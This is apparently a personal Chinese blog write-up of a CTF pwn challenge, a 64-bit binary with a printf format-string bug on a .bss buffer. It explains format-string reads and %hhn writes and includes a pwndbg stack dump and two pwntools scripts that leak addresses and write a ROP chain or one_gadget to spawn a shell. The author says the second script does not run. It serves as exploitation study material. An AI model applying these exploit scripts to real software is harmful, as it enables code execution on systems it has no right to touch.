这是一道fmt在bss段上的题。通过这道题我对格式化字符串的理解上了一个新的台阶…
  第一篇技术类博文诶!先激动一下下~(本文中fmt均指格式化字符串)通篇是结合wiki和做题的个人理解,错误之处望读者不吝赐教 
fmt读的漏洞:
可以通过%n$p直接获得fmt相对偏移处的数值。原理是当成指针输出(十六进制形式,32位64位都可) 
可以通过%n$s获得偏移处(这是一个地址)所指向的内存的内容。原理是当成字符串地址去解析并输出该地址对应内存的字符串形态。所以当此处被当成地址却不合法时程序会报segment fault错。 
 
 
fmt写的漏洞
通过%nc$hhn,hn,n($前的n表示任意整数,c表示以字符形式,我比较常用,$后为固定用法)可向偏移处所指向的内存 最低字节/最低两字节/最低四字节写入printf已打印出的字符个数。(此处表述可能不够严谨,因为会有想要修改的内存地址不是整8位,4位的情况,这种情况下hhn可使用,hn和n的效果倒是还没试过)%nc%n$hhn,可如是使用。 
 
 
 
注1:n指相对于fmt的偏移。32位在栈上依次是1,2,3…;64位前6个参数在寄存器(包括存放fmt地址的rdi寄存器),之后的参数在栈上(第一个在栈上的数据是printf的第七个参数,相对fmt偏移为6)
 
注2:写的漏洞描述如上,也就是说能够通过偏移直接改写的只有存放二级及以上指针的内存,直接改写会报错。(6.19:一级应该是部分可以改,要看目标地址是否合法(存在及可写))
 
题目64位,ida结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl main(int argc, const char **argv, const char **envp) {   setvbuf(stdout, 0LL, 2, 0LL);   setvbuf(stdin, 0LL, 2, 0LL);   while ( 1 )   {     read(0, buf, 0x64uLL);     if ( !strcmp(buf, "66666666") )       break;     printf(buf, "66666666");   }   return 0; } 
双击buf,我们看到buf在bss段。这里尝试解释一下fmt在bss段是如何增加难度的。在栈上时,我们能够控制的输入在栈上,可直接通过%nc%n$hhn对我们的输入(想要修改的变量所在的地址)所指向的内存进行修改。在bss段上则无法直接通过上述接触到输入,也就无法直接进行修改。pop rdi ret和system,/bin/sh所在地址stack 31
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pwndbg> stack 31 00:0000│ rsp  0x7fffffffdde8 —▸ 0x555555554824 (main+138) ◂— jmp    0x5555555547da 01:0008│ rbp  0x7fffffffddf0 —▸ 0x555555554830 (__libc_csu_init) ◂— push   r15 02:0010│      0x7fffffffddf8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax 03:0018│      0x7fffffffde00 ◂— 0x1 04:0020│      0x7fffffffde08 —▸ 0x7fffffffded8 —▸ 0x7fffffffe241 ◂— '/home/ling/now/game/now/history/west/hill/deploy_pwn/deploy/format_level2/src/pwn' 05:0028│      0x7fffffffde10 ◂— 0x1f7ffcca0 06:0030│      0x7fffffffde18 —▸ 0x55555555479a (main) ◂— push   rbp 07:0038│      0x7fffffffde20 ◂— 0x0 08:0040│      0x7fffffffde28 ◂— 0x2cc87ef76f3dd02d 09:0048│      0x7fffffffde30 —▸ 0x555555554690 (_start) ◂— xor    ebp, ebp 0a:0050│      0x7fffffffde38 —▸ 0x7fffffffded0 ◂— 0x1 0b:0058│      0x7fffffffde40 ◂— 0x0 ... ↓ 0d:0068│      0x7fffffffde50 ◂— 0x799d2ba2435dd02d 0e:0070│      0x7fffffffde58 ◂— 0x799d3b18508dd02d 0f:0078│      0x7fffffffde60 ◂— 0x0 ... ↓ 12:0090│      0x7fffffffde78 —▸ 0x7fffffffdee8 —▸ 0x7fffffffe293 ◂— 'XDG_VTNR=7' 13:0098│      0x7fffffffde80 —▸ 0x7ffff7ffe168 —▸ 0x555555554000 ◂— jg     0x555555554047 14:00a0│      0x7fffffffde88 —▸ 0x7ffff7de77db (_dl_init+139) ◂— jmp    0x7ffff7de77b0 15:00a8│      0x7fffffffde90 ◂— 0x0 ... ↓ 17:00b8│      0x7fffffffdea0 —▸ 0x555555554690 (_start) ◂— xor    ebp, ebp 18:00c0│      0x7fffffffdea8 —▸ 0x7fffffffded0 ◂— 0x1 19:00c8│      0x7fffffffdeb0 ◂— 0x0 1a:00d0│      0x7fffffffdeb8 —▸ 0x5555555546ba (_start+42) ◂— hlt     1b:00d8│      0x7fffffffdec0 —▸ 0x7fffffffdec8 ◂— 0x1c 1c:00e0│      0x7fffffffdec8 ◂— 0x1c 1d:00e8│ r13  0x7fffffffded0 ◂— 0x1 1e:00f0│      0x7fffffffded8 —▸ 0x7fffffffe241 ◂— '/home/ling/now/game/now/history/west/hill/deploy_pwn/deploy/format_level2/src/pwn' 
首先找目标地址吧。pop rdi ret可用ROPgadget找到,其实还需要ret,因为题目说明远程是18.04,有个对齐的问题,不加ret的话16.04本地能打通但是远程会报错timeout: the monitored command dumped core。具体原因可见这篇博客 。vmmap,栈和库的位置同样可以如此获得。这里我分别用偏移为1处获得pop rdi ret,9处获得栈的地址(并计算栈顶),7处获得库中__libc_start_main的地址,从而得知system和/bin/sh的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #get_file_offset to get pop rdi p.sendline("%p\0") one_arg_offset=int(p.recv(14),16) file_base=one_arg_offset-0x8b4 pop_rdi=file_base+0x893 ret=0x626+file_base log.info('pop rdi:'+hex(pop_rdi)) #get_stack_rsp_offset p.sendline("%9$p\0")#addr in stack stack0=int(p.recv(14),16)-232 #change here doen't matter where to jump stack=stack0-8 log.info('stack0:'+hex(stack0)) new_jump=184+stack0 #at offset 29 log.info("new_jump:"+hex(new_jump)) #get_libc_3rd_offset p.sendline("%7$p\0") libc_start_main=int(p.recv(14),16)-240 log.info('libc_start_main:'+ hex(libc_start_main)) libc=LibcSearcher("__libc_start_main",libc_start_main) libc_base = libc_start_main - libc.dump("__libc_start_main") system_addr = libc_base + libc.dump("system") bin_sh = libc_base + libc.dump("str_bin_sh") log.info("libc_base:"+hex(libc_base)) log.info('system:'+hex(system_addr)) log.info('bin_sh:'+hex(bin_sh)) 
接下来进行修改。pop rdi ret处。(其实应该看汇编的吧。。我怎么就赖上调试了呢,害)甚至还跑去问槐它为什么自己会变指向,我没被打死真是一个奇迹不过既然能控制一次,那么每次都重新改一次指向应该也能做所以就没换地方,继续用35处做的题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def point_to_target(addr):     payload='%{}c%9$hn'.format(int(hex(new_jump)[-4:],16))     p.sendline(payload.ljust(99,'\x00'))     p.recv()     payload='%{}c%35$hn'.format(int(hex(addr)[-4:],16))     p.sendline(payload.ljust(99,'\x00'))     p.recv() def change(addr,value):     svalue=hex(value)[2:]#12 bit,6 byte     print svalue     for i in range(5,-1,-1):           print svalue[2*i:2*i+2]         point_to_target(addr+5-i)                 log.info("point to stack0+{}".format(5-i))                 #p.recv()         payload='%{}c%29$hhn'.format(int(svalue[2*i:2*i+2],16))         p.sendline(payload.ljust(99,'\x00'))         p.recv() 
值得注意的一个地方是read函数接收到\0也不会截断,所以我填补99个\x00并连带sendline最后的换行符一共100个字符。也可以payload.ljust('\x00',100)然后用send发送。(咳咳,7.30我来打脸。read读的时候可以直接send()…我整麻烦了。这里还有个奇怪的东东没搞懂就是输入会堆在一起那个现象 )最后修改部分的exp如下:
1 2 3 4 5 6 7 change(stack0,bin_sh) change(stack0+8,system_addr) point_to_target(stack) svalue=hex(pop_rdi) payload='%{}c%29$hhn'.format(int(svalue[-4:],16)) p.sendline(payload.ljust(99,'\x00')) p.interactive() 
环境关闭木有远程打的机会了,ret的部分就懒得没加,道理应该是一样的。不过加ret的话会改到9的位置,emm有点子问题。先留坑,以后再填。溜了溜了
6.27用one_gadget做了一下 额,心态有点炸,因为又是调试出来的,但是不会调其他版本就很伤…这个汇编实际执行情况和我预料的出入有点大,先记下来以后看看能不能明白8
呃呃还知道了one gadget libc结果的后面==NULL的意思是执行条件,后面堆要是都不满足的话还得自己构造。行(
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import * p=process("./pwn") #p=process(['./pwn'],env={"LD_PRELOAD":'./libc-2.27.so'}) gdb.attach(p) libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so') one_gadget223=0xf1147 #get_file_offset to get pop rdi p.sendline("%p\0") one_arg_offset=int(p.recv(14),16) file_base=one_arg_offset-0x8b4 pop_rdi=file_base+0x893 ret=0x626+file_base log.info('pop rdi:'+hex(pop_rdi)) #get_stack_rsp_offset p.sendline("%9$p\0")#addr in stack stack0=int(p.recv(14),16)-232 #change here doen't matter where to jump stack=stack0-8 log.info('stack0:'+hex(stack0)) new_jump=184+stack0 #at offset 29 log.info("new_jump:"+hex(new_jump)) #get_libc_3rd_offset p.sendline("%7$p\0") #print p.recvuntil('0x') libc_start_main=int(p.recv(14),16)-240 log.info('libc_start_main:'+ hex(libc_start_main)) one_gadget_actual=libc_start_main-libc.sym['__libc_start_main']+one_gadget223 log.info("one gadget:"+hex(one_gadget_actual)) def point_to_target(addr):     payload='%{}c%9$hn'.format(int(hex(new_jump)[-4:],16))     p.sendline(payload.ljust(99,'\x00'))     p.recv()     payload='%{}c%35$hn'.format(int(hex(addr)[-4:],16))     p.sendline(payload.ljust(99,'\x00'))     p.recv() def change(addr,value):     svalue=hex(value)[2:]#12 bit,6 byte     print svalue     for i in range(5,-1,-1):           print svalue[2*i:2*i+2]         point_to_target(addr+5-i)                 log.info("point to stack0+{}".format(5-i))                 #p.recv()         payload='%{}c%29$hhn'.format(int(svalue[2*i:2*i+2],16))         p.sendline(payload.ljust(99,'\x00'))         p.recv()          change(stack0+8,one_gadget_actual) log.info("stack0 change") change(stack0,ret) point_to_target(stack) svalue=hex(ret) payload='%{}c%29$hhn'.format(int(svalue[-4:],16)) p.sendline(payload.ljust(99,'\x00')) p.interactive() 
问题出在将栈顶改为ret而+8的位置改为one_gadget时汇编最后pop rbp ret,ret的是+16处__libc_start_main+240…懵逼,我就又加了一句ret。
隔得久了我不知道上一句我在说啥,反正上面脚本跑不通,再留坑。整体来说这个方法不是太好感觉,可拓展性不够强。